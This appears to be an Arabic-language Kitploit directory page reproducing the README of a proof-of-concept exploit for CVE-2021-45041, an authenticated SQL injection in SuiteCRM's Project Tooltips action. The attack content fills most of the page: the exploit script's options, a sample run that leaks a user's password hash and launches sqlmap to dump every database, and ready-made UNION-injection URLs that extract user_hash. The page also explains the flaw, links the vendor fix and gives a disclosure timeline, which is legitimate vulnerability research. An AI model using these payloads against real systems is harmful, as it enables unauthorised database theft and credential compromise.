Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-45041 — PoC لـ CVE-2021-45041 | Kitploit
أدوات/GitHubGitHub/manuelz120/cve-2021-45041
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubmanuelz120/cve-2021-45041

CVE-2021-45041

PoC لـ CVE-2021-45041

عرض المستودع
32منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2021-45041

إثبات المفهوم (PoC) لـ CVE-2021-45041 والمعروف أيضًا باسم SCRMBT-#177 - Authenticated SQL-Injection in SuiteCRM <= 8.0

الاستخدام

الخيارات:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT          Root of SuiteCRM installation. Defaults to
                           http://localhost
  -u, --username TEXT      Username
  -p, --password TEXT      password
  -c, --col_count INTEGER  Number of columns to use in union query. Defaults
                           to 44
  -d, --dbms TEXT          DBMs used by SuiteCRM. Defaults to mysql
  -d, --is_core BOOLEAN    SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                   Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45041

مثال على الاستخدام:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login did work - Trying to leak user hash to check if SuiteCRM is vulnerable
INFO:CVE-2021-45041:Received the following hash: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:If this doesn't look like a password hash, the exploit might not work correctly
INFO:CVE-2021-45041:Launching sqlmap against target to get full DB dump
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.12#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:42:51 /2021-12-27/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: UNION query
    Title: Generic UNION query (NULL) - 44 columns (custom)
    Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...

الشرح

اكتشفت مؤخرًا ثغرة حقن SQL مصادق عليها في SuiteCRM. تمكنت من التحقق من الثغرة في الإصدارين 8.0 و7.12.1. تقع الثغرة في إجراء Tooltips في وحدة Project. في التثبيت الافتراضي، يمكن لأي مستخدم استدعاء هذا الإجراء عن طريق الوصول إلى عنوان URL التالي (للإصدار 8 أضف بادئة /legacy):

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test

إذا قمنا بفحص تنفيذ هذا الإجراء (انظر https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513)، يمكننا أن نرى أن القيم تؤخذ مباشرة من $_REQUEST دون أي تعقيم إضافي، وتُستخدم لاحقًا في جملة where الخاصة بالاستعلام.

الدالة المعرضة للثغرة

على الرغم من أننا لا نستطيع استخدام علامات الاقتباس المفردة بسبب ترميز كيانات HTML، إلا أن الثغرة ما تزال قابلة للاستغلال نظرًا لوجود نقاط حقن متعددة. إذا حددنا resource_id ينتهي بحرف شرطة مائلة للخلف (\)، فسيتم تخطي علامة الاقتباس المفردة التالية، ولن يتم إنهاء السلسلة إلا بعلامة الاقتباس المفردة بعد كلمة BETWEEN. هذا يعني أن أي قيمة يرسلها العميل كـ start_date ستُعامل كـ SQL خام ويمكن استخدامها لتنفيذ هجوم حقن SQL.

فيما يلي PoC بسيط يسرب تجزئة كلمة مرور مستخدم:

الإصدار 7.12.1:

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

الإصدار 8.0:

/legacy/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

نسخة عنوان URL بعد فك الترميز:

root@kitploit:~
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

PoC

الإصلاح المُنفَّذ

بعد وقت قصير من تقديم تقريري، تم إصدار إصدارات جديدة من SuiteCRM (7.12.2 و8.0.1)، تتضمن الإصلاح التالي:

https://github.com/salesagility/SuiteCRM/commit/0201c36b1468a16eb89218e7c798cf0ce2adac5c?diff=unified#diff-cb8e700b4303102f82ba718a035794422b23769c3140a46f77285a268f14232aL489-L496

الجدول الزمني

  • 13/12/2021: اكتشاف الثغرة والإبلاغ عنها إلى SuiteCRM
  • 14/12/2021: تأكيد البائع (SalesAgility) للثغرة
  • 17/12/2021: إصدار الإصدارات المُصححة (SuiteCRM 7.12.2 وSuiteCRM 8.0.1)

الاعتمادات

  • SQLMap
  • Click
  • BeautifulSoup
تنزيل الأداة